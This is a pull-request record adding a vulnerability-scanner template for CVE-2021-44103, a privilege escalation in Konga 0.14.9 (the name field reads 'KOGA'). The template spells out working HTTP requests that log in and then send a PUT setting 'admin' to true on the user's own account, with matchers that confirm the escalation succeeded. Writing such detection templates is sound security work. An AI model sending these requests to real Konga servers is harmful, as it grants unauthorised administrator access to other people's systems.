Merge pull request #4021 from rschio/CVE-2021-44103

Create CVE-2021-44103

cves/2021/CVE-2021-44103.yaml

@@ -0,0 +1,78 @@
+id: CVE-2021-44103
+
+info:
+  name: KOGA 0.14.9 - Privilege Escalation
+  author: rschio
+  severity: high
+  description: Vertical Privilege Escalation in KONGA 0.14.9 allows attackers to higher privilege users to full administration access. The attack vector is a crafted condition, as demonstrated by the /api/user/{ID} at ADMIN parameter.
+  reference:
+    - http://n0hat.blogspot.com/2021/11/konga-0149-privilege-escalation-exploit.html
+    - https://www.exploit-db.com/exploits/50521
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44103
+  classification:
+    cvss-score: 8.7
+    cve-id: CVE-2021-44103
+    cwe-id: CWE-264
+  tags: cve,cve2021,konga,authenticated
+
+requests:
+  - raw:
+      - |
+        POST /login HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/json
+
+        {"password": "{{password}}", "identifier": "{{username}}"}
+
+      - |
+        POST /api/user/{{id}} HTTP/1.1
+        Host: {{Hostname}}
+        Origin: {{BaseURL}}
+        Referer: {{BaseURL}}
+        Content-Type: application/json;charset=utf-8
+
+        {"token": "{{token}}"}
+
+      - |
+        PUT /api/user/{{id}} HTTP/1.1
+        Host: {{Hostname}}
+        Origin: {{BaseURL}}
+        Referer: {{BaseURL}}
+        Content-Type: application/json;charset=utf-8
+
+        {"admin": "true", "passports": {"password": "{{password}}", "protocol": "local"}, "token": "{{token}}", "password_confirmation": "{{password}}"}
+
+    req-condition: true
+    matchers-condition: and
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(body_2, "\"admin\": false")'
+          - 'contains(body_3, "\"admin\": true")'
+        condition: and
+
+      - type: word
+        part: header
+        words:
+          - "application/json"
+
+      - type: status
+        status:
+          - 200
+
+    extractors:
+      - type: regex
+        part: body
+        name: id
+        internal: true
+        group: 1
+        regex:
+          - '"id": ([0-9]+)'
+
+      - type: regex
+        part: body
+        name: token
+        internal: true
+        group: 1
+        regex:
+          - '"token": "(.*)"'